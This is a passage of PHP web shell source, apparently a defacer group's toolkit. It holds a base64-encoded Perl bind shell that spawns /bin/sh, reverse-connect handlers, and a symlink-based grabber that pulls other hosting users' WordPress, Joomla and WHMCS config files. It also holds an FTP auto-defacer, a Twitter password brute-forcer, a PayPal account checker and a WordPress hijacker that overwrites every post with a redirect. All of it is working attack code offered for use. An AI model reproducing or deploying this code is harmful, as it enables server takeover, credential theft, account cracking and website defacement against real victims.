YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
$oplb=fopen("lbp.pl","w");
fwrite($oplb,base64_decode($lbp));
fclose($oplb);
system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
if($_REQUEST['portbw']){
wbp($_REQUEST['portbw']);
}if($_REQUEST['portbl']){
lbp($_REQUEST['portbl']);
}
if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
}
echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'andela')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=andela" method="post">
<br><br><center><b><font size=4>+--=[ Config Grabber by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.haurgeulis-security.com/favicon.ico/>
<form method='POST'>
<title>Config Grabber</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#1975FF'>Config Grabber<br>Recoded by Mr.HaurgeulisX196</span>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grabber Now!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('andela_grab', 0755);@chdir('andela_grab');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="andela_grab">Open configs</a></font></b>';}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dewi')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=dewi" method="post">
<br><br><center><b><font size=4>+--=[ Email Extractor by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.hotelvirasat.com/images/email_icon.png'/>
<form method='POST'>
<title>Dewi Bintangku</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: #1975FF;
border:1px dotted #33CCFF;
}
</style>";
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#1975FF">Email Extractor</span><center><br>';
echo'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
<center>
<form method="post">
<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
<center><strong><input type="submit" id="gobutton" name="Extazy007" value=" Start "></strong></center></form>';
$types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
if($_POST["Extazy007"] && !empty($_POST["mails"])){
foreach(explode("
", $_POST["mails"]) as $mail){
foreach($types as $type){
if(eregi("@".$type, $mail)){
$file = fopen($type.".txt", "a");
fwrite($file, $mail."
");
}
}
}
echo '<font size="4">';
if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo '</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : '.count(file("hotmail.txt")).'</br>'; }
if(file_exists("gmail.txt")){ rd("gmail.txt"); echo '</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : '.count(file("gmail.txt")).'</br>'; }
if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo '</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : '.count(file("yahoo.txt")).'</br>'; }
if(file_exists("aol.txt")){ rd("aol.txt"); echo '</br><a style="background:#efefef;" href="aol.txt">Aol</a> : '.count(file("aol.txt")).'</br>'; }
if(file_exists("mail.txt")){ rd("mail.txt"); echo '</br><a style="background:#efefef;" href="mail.txt">Mail</a> : '.count(file("mail.txt")).'</br>'; }
if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo '</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : '.count(file("rocketmail.txt")).'</br>'; }
if(file_exists("orange.txt")){ rd("orange.txt"); echo '</br><a style="background:#efefef;" href="orange.txt">Orange</a> : '.count(file("orange.txt")).'</br>'; }
if(file_exists("live.txt")){ rd("live.txt"); echo '</br><a style="background:#efefef;" href="live.txt">Live</a> : '.count(file("live.txt")).'</br>'; }
if(file_exists("outlook.txt")){ rd("outlook.txt"); echo '</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : '.count(file("outlook.txt")).'</br>'; }
if(file_exists("sfr.txt")){ rd("sfr.txt"); echo '</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : '.count(file("sfr.txt")).'</br>'; }
if(file_exists("laposte.txt")){ rd("laposte.txt"); echo '</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : '.count(file("laposte.txt")).'</br>'; }
if(file_exists("msn.txt")){ rd("msn.txt"); echo '</br><a style="background:#efefef;" href="msn.txt">Msn</a> : '.count(file("msn.txt")).'</br>'; }
if(file_exists("skynet.txt")){ rd("skynet.txt"); echo '</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : '.count(file("skynet.txt")).'</br>'; }
echo '</font>';
echo '<br><font color="Green"><p>Done With Success ! </p></font><br>';
}
function rd($file)
{
$text = array_unique(file($file));
if($text)
$f = @fopen($file,'w');
if($f){
fputs($f, join('',$text));
}
}
echo'
<br>
<strong><font face="Tahoma" color="blue" size="4">
Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
</br><font face=Tahoma size=3 color=#009900>Developed By Mr.HaurgeulisX196</font></strong>
<br><br>
<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/Mr.HaurgeulisX196.Official</font>
</center>
';
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cantik')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=cantik" method="post">
<br><br><center><b><font size=4>+--=[ Andela1C3 Quote by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://directory.move.pk/wp-content/uploads/2014/06/cpanel-hosting.png'/>
<form method='POST'>
<title>Haurgeulisc0de</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo '<br><center><span style="font-size:20px; font-family:Fredericka the Great; color:pink">Buat dunia takluk di kakimu <br>
Walau seribu tombak menunjung jantungmu</span><br></center><br><center>
<img src="http://www.hai-online.com/var/gramedia/storage/images/hai/feature/music/4-hadiah-buat-andela-jkt48-yang-paling-berkesan/18553225-1-ind-ID/4-Hadiah-Buat-Andela-JKT48-Yang-Paling-Berkesan_haibaru650x431.jpg" width="400" height="300"/><a/></center>
<center><span style="font-size:19px; font-family:Fredericka the Great; color:Deepskyblue"><br>Andela1C3 v.3<br>Ini bukan tentang teriakan putus asa..<br>
<br>
Ini adalah tentang semangat untuk<br>
menantang kerasnya hidup...<br>
<br>
Ini adalah tentang pembuktian, bahwa nyala asa<br>
sanggup menembus malam paling pekat sekalipun.<br>
<br>
Ini adalah tentang salam hormat kami bagi Legion Indonesian Defacer.<br>
You gave us the reason to keep fighting<br>
Together, we will never surrender.<br><br>
<span style="font-size:19px; font-family:Fredericka the Great; color:Gold">
Regards :<br>
Mr.HaurgeulisX196<br>
</center></font>';
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'indramayu')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=indramayu" method="post">
<br><br><center><b><font size=4>+--=[ Cpanel & Ftp Auto Defacer by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://directory.move.pk/wp-content/uploads/2014/06/cpanel-hosting.png'/>
<form method='POST'>
<title>Haurgeulisc0de</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Cpanel & Ftp Auto Defacer</span><br>Coded By Mauritania Attacker<br>Recoded by Mr.HaurgeulisX196</center><br><center><img src="http://www6.0zz0.com/2014/08/20/15/449603437.png" /></center>';
echo"<table width='100%' cellspacing='0' cellpadding='0' class='tb1' >
<td width='100%' align=center valign='top' rowspan='1'><div class='hedr'>
<td height='10' align='left' class='td1'></td></tr><tr><td
width='100%' align='center' valign='top' rowspan='1'>
<font color='red' face='comic sans ms' size='1'><b>
<font color='RED' face='gothic' size='3'></font><br>
<font color='white'></font>
</table>";
echo"<body bgcolor=black><h6 style='text-align:center'><font color=white>
<form method=post><font face=Tahoma size=2 color=#007700>
Server ip : <input type=text name=hi value=ip>
Username : <input type=text name=tx value=>
Password : <input type=text name=p value=><br><br>
file that you want to deface : </font><input type=text name=ph value='index.php'><br><br>
<font face=Tahoma size=2 color=#009900>Deface page url --> </font><textarea class='area' rows='1' cols='75' name='deface' value='your daface page link'></textarea><br><br>
<input type=submit name=sm value='Kill it Now' /><br>
</form>";
if(isset($_POST['sm']))
{
$ip=trim($_POST['hi']);
$u=trim($_POST['tx']);
$p=trim($_POST['p']);
$d=trim($_POST['ph']);
$df=trim($_POST['deface']);
echo "<br><font color=white size=2>";
echo "<font color=red size=3>server ip ==></font> ".$ip;
echo "<br><font color=red size=3>user ==></font>  ".$u;
echo "<br><font color=red size=3>password ==></font>  ".$p;
echo "<br><font color=red size=3>dirctory ==></font>  ".$d;
echo "<br><font color=red size=3>deface link ==></font><br>".$df."<br>";
$dl="public_html/".$d;
$si= ftp_connect($ip);
$try= ftp_login($si,$u,$p);
if ((!$si) || (!$try))
{
echo "<br>could not connect , hope u filled out all correctly :(";
exit;
}
else
{
echo "<br>connection done XD<br>Ghost ,its time to spin this shit<br>";
}
$deface = ftp_put($si, $dl , $df, FTP_BINARY);
if ($deface)
{
echo "hell yeah page got defaced successfully >";
}
else
{
echo "Ghost try manually :(";
}
}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tintin')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=tintin" method="post">
<br><br><center><b><font size=4>+--=[ Twitter BruteForce by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://img1.wikia.nocookie.net/__cb20100818011300/lostpedia/images/f/f1/Twitter-icon.png'/>
<form method='POST'>
<title>Andela Yuwono Pacar Mr.HaurgeulisX196</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: #1975FF;
border:1px dotted #33CCFF;
}
</style>";
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Twitter Multi-Account BruteForce</span><br>Coded By Mauritania Attacker<br>Recoded by Mr.HaurgeulisX196</center><br><br>';
echo "<p dir='ltr' align='center'>
<textarea cols='42' class='area' rows='14' name='username'>Username</textarea>
<textarea cols='42' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
#function
function brute($user,$pass)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
# cURL - Brute Users & Password
$login = curl_exec($ch);
if(eregi("error notice", $login)){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
}
}
# POSTS
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
# Foreach Users N' Textarea
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
brute($users,$pass); }}
# cURL
}
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'pipit')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=pipit" method="post">
<br><br><center><b><font size=4>+--=[ PayPal Valid Email by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">PayPal Valid Email
Checker</span><center><br>';
@set_time_limit(0);
function curl($url='',$var='',$Follow=False){
global $set;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
echo "<head>
<style type=\"text/css\"><!--
body {
font-family: 'Open Sans', sans-serif; font-size:13px}
hr {border:inset 1px #E5E5E5}
#form-container
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 4px #009900;
-moz-box-shadow: 0px 0px 4px #009900;
-webkit-box-shadow: 0px 0px 4px #009900;
margin:30px auto;
padding:10px;
width:910px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}
#form-container1
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 15px #007700;
-moz-box-shadow: 0px 0px 15px #007700;
-webkit-box-shadow: 0px 0px 15px #007700;
margin:30px auto;
padding:10px;
width:280px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}
input[type=text], textarea
{
background:transparent;
border:solid 1px #007700;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
}
textarea { width:100%;height:200px; resize:none }
input[type=text] { width:160px;text-align:center }
input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
.submit-button
{
background: #57A02C;
border:solid 1px #57A02C;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
border-bottom: 1px solid rgba(0,0,0,0.25);
position: relative;
color:#333333;
display: inline-block;
cursor:pointer;
font-size:13px;
padding:3px 8px;
}
.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
.table
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
padding-left:10px;
}
.unverified
{
color:#800000;
font-weight: bold;
}
.business{
color:yellow;
font-weight: bold;
}
.premier{
color:#00FF00;
font-weight: bold;
}
.verified{
color:#800080;
font-weight: bold;
}
.nolog{
font-size: 10px;
font: red;
}
--></style>
<title>Valid Email Checker</title>
</head><div align=\"center\"></center>";
$emails = $_POST['emails'];
print '<div id="form-container"> <form method="POST">
<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
Checker<br></font></p>
<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
</form> </div>';
if (!empty($emails)) {
$emails = explode("
", $emails);
$yes = 0;
$not = 0;
$inv = 0;
$count = 1;
print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
foreach ( $emails as $email ) {
$email = trim($email);
print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font> ..... </b>";
$count++;
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com¤cy=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
if(!strpos($_CheckAction, "region")) {
print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
$yes++;
$vaild_yes .=$email."
";
}
else {
print "<b><font color=\"#FF0000\">NO</font></b><br>";
$not++;
$vaild_no .=$email."
";
}
}
else {
print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
$inv++;
$invaild .=$email."
";
}
}
print '<p><table border="0" width="100%">
<tr>
<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
</tr>
<tr>
<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
</tr>
</table></p>';
}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dessy')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=dessy" method="post">
<br><br><center><b><font size=4>+--=[ Files Search by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.scriptspot.com/files/u5502/rodar_scan.gif'/>
<form method='POST'>
<title>Dessy Selingkuhan Gue</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#1975FF">Pencari Files By Haurgeulis Security</span><center><br>Coded by Mr.HaurgeulisX196<br>';
echo'<body bgcolor="blue" text="red">
<p align="center">
<img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
</head>';
echo'<form action="" method="post"><center><br/>
<label for="dirdir">Directory</label><br/>
<input type="text" id="dirdir" name="dirdir" value="/" /><br/><br/>
<label for="filezzz">Files</label><br/>
<textarea class="area" rows="4" cols="50" name="filezzz">
config
auth
db
root
master
</textarea><br/><br/>
<input type="submit" value="search now !" />
</form></center>';
set_time_limit(0);
error_reporting(0);
if(!empty($_POST['dirdir']) && !empty($_POST['filezzz'])){
$dirdir = $_POST['dirdir'];
$filezzz = $_POST['filezzz'];
echo("<center>FILES</center>");
$files = glob($dirdir.'/*.php', GLOB_BRACE);
foreach($files as $file) {
foreach(explode("
", $filezzz) as $f) {
$s = file_get_contents($file);
$f = preg_replace('/\s+/', '', $f);
$lines = file($file);
$line_number = false;
while (list($key, $line) = each($lines) and !$line_number) {
$line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
}
if (strpos($s, $f) !== false) {
echo '<center>';
echo("<br/><b>File:</b> ".$file);
echo '<hr>';
echo("<br/><b>Line:</b> ".$line_number);
echo("<br/><b>Function:</b> ".$f);
echo '<hr>';
echo '</center>';
}
}
}
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'haurgeulis')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=haurgeulis" method="post">
<br><br><center><b><font size=4>+--=[ Wordpress Index Hijack Priv8 by Mr.HaurgeulisX196 ]=--+</font></b></center><br><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://bennycrampton.com/wp-content/uploads/2013/04/wordpress.png'/>
<form method='POST'>
<title>Mr.HaurgeulisX196</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: #1975FF;
border:1px dotted #33CCFF;
}
</style>";
echo '<form method="POST">
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#1975FF">Wordpress Index Hijack Priv8</span></center><br>
<p align="center">
<img src="http://www3.0zz0.com/2014/08/20/15/615506358.png" /></p>
<br><center><font color="#1975FF" size="2" face="orion">Coded By Mauritania Attacker<br>Recoded by Mr.HaurgeulisX196</font></center><br>
<center><input type="text" value="localhost" name="pghost">
<input type="text" value="database_name" name="dbnmn">
<input type="text" value="prefix" name="prefix">
<input type="text" value="username_db" name="dbusrrrr">
<input type="text" value="password_db" name="pwddbbn"></center><br>
<center><textarea class="area" name="pown" cols="100" rows="7"><meta http-equiv="refresh" content="0;URL=http://pastebin.com/raw.php?i=WG1zASMG"></textarea><br><br>
<input type="submit" name="up2" value="Hijack Index"><br></center><form>';
$pghost = $_POST['pghost'];
$dbnmn = $_POST['dbnmn'];
$dbusrrrr = $_POST['dbusrrrr'];
$pwddbbn = $_POST['pwddbbn'];
$index = stripslashes($_POST['pown']);
$prefix = $_POST['prefix'];
//$prefix = "wp_";
if ($_POST['up2']) {
@mysql_connect($pghost, $dbusrrrr, $pwddbbn) or die(mysql_error());
@mysql_select_db($dbnmn) or die(mysql_error());
$tableName = $prefix . "posts";
$ghost1 = mysql_query("UPDATE $tableName SET post_title ='" . $index . "' WHERE ID > 0 ");
if (!$ghost1) {
$ghost2 = mysql_query("UPDATE $tableName SET post_content ='" . $index . "' WHERE ID > 0 ");
} elseif (!$ghost2) {
$ghost3 = mysql_query("UPDATE $tableName SET post_name ='" . $index . "' WHERE ID > 0 ");
}
mysql_close();
if ($ghost1 || $ghost2 || $ghost3) {
echo "<center><p><b><font color='red'>Index Website Have been Hijacked Successfully</font></p></b></center>";
} else {
echo "<center><p><b><font color='red'>Failed To Hijack the Website :(</font></p></b></center>";
}
}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
